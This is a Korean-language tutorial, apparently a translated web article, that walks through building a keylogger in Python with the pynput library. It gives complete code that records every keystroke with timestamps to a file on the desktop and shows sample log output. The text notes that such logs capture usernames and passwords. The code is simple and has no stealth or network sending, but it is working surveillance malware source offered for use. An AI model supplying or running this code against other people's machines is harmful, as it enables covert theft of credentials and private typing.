여기서는 파이썬을 사용하여 키로거를 개발할 것입니다. 그러나 그 전에 키로거가 무엇입니까? Keylogger는 키 입력을 모니터링하는 프로그램입니다. 이러한 키 입력은 로그 파일에 저장됩니다. 이 키 입력을 사용하여 사용자 이름 및 비밀번호와 같은 민감한 정보를 기록할 수 있습니다.
키로거를 생성하기 위해 pynput 모듈을 사용할 것입니다. 파이썬의 표준 라이브러리가 아니므로 설치해야 할 수도 있습니다.
pyxhook 모듈 설치 -
pip를 사용하여 pynput을 설치하겠습니다 -
pip install pynput Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4) Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
설치가 성공했는지 확인하려면 Python 셸에서 모듈을 가져오십시오.
>>> import pynput >>>
키로거 구축 시작
필요한 라이브러리가 설치되면 필요한 패키지와 메서드를 가져옵니다. 키보드를 모니터링하기 위해 pynput.keyboard 모듈의 키 및 리스너 메서드를 사용할 것입니다. 또한 로깅 모듈을 사용하여 파일에 키 입력을 기록할 것입니다.
from pynput.keyboard import Key, Listener import logging
다음으로, 로그 파일을 저장할 경로, 로그를 저장할 모드 및 형식을 설정합니다.
log_dir = r"C:/users/username/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
그런 다음 키 누름에 대한 정의를 만들고 키를 매개변수로 사용하는 on_press() 함수를 호출했습니다.
def on_press(key): logging.info(str(key))
마지막으로 할 일은 Listener의 인스턴스를 설정하고 그 안에 on_press 메서드를 정의한 다음 해당 인스턴스를 메인 스레드에 결합하는 것입니다.
with Listener(on_press=on_press) as listener: listener.join()
위에서 언급한 단계를 결합하여 최종 프로그램을 만드는 단계에 있습니다.
from pynput.keyboard import Key, Listener import logging log_dir = r"C:/users/rajesh/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()
스크립트가 실행되는 동안 브라우저를 열고 "hello world, Wikipedia"를 입력하려고 했습니다. 로그 파일에 무슨 일이 일어났는지 봅시다 -
내 컴퓨터 바탕 화면에 "keyLog.txt" 파일이 생성되고 그 내용을 보려고 하면 다음과 같이 표시됩니다.
2019-01-18 17:06:21,854: Key.cmd 2019-01-18 17:06:22,022: 'd' 2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' 2019-01-18 17:06:40,536: 'o' 2019-01-18 17:06:40,694: 'r' 2019-01-18 17:06:40,818: 'l' 2019-01-18 17:06:40,943: 'd' 2019-01-18 17:06:43,527: ',' 2019-01-18 17:06:44,947: Key.space 2019-01-18 17:06:45,091: 'p' 2019-01-18 17:06:45,342: 'y' 2019-01-18 17:06:45,468: 't' 2019-01-18 17:06:45,580: 'h' 2019-01-18 17:06:45,674: 'o' 2019-01-18 17:06:45,808: 'n' 2019-01-18 17:06:45,872: Key.space 2019-01-18 17:06:48,692: Key.backspace 2019-01-18 17:06:48,891: Key.backspace 2019-01-18 17:06:49,079: Key.backspace 2019-01-18 17:06:49,223: Key.backspace 2019-01-18 17:06:49,405: Key.backspace 2019-01-18 17:06:49,584: Key.backspace 2019-01-18 17:06:49,816: Key.backspace 2019-01-18 17:06:50,004: 'w' 2019-01-18 17:06:50,162: 'i' 2019-01-18 17:06:50,392: 'k' 2019-01-18 17:06:50,572: 'i' 2019-01-18 17:06:51,395: 'p' 2019-01-18 17:06:51,525: 'e' 2019-01-18 17:06:51,741: 'd' 2019-01-18 17:06:51,838: 'i' 2019-01-18 17:06:52,104: 'a'
그래서 우리는 내가 내 브라우저에 무엇을 입력하려고 했는지 볼 수 있습니다. 모든 키 입력은 이 파일에 저장됩니다. 그래서 여기에서 파이썬으로 아주 간단한 키 로거를 만들었습니다.